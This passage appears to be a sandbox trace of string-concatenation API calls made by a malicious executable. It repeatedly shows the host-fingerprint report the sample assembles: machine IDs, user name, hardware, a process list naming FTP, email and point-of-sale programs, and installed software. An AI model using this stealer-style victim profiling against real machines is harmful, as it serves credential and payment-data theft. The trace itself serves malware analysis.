Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001"
[0054.969] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]"
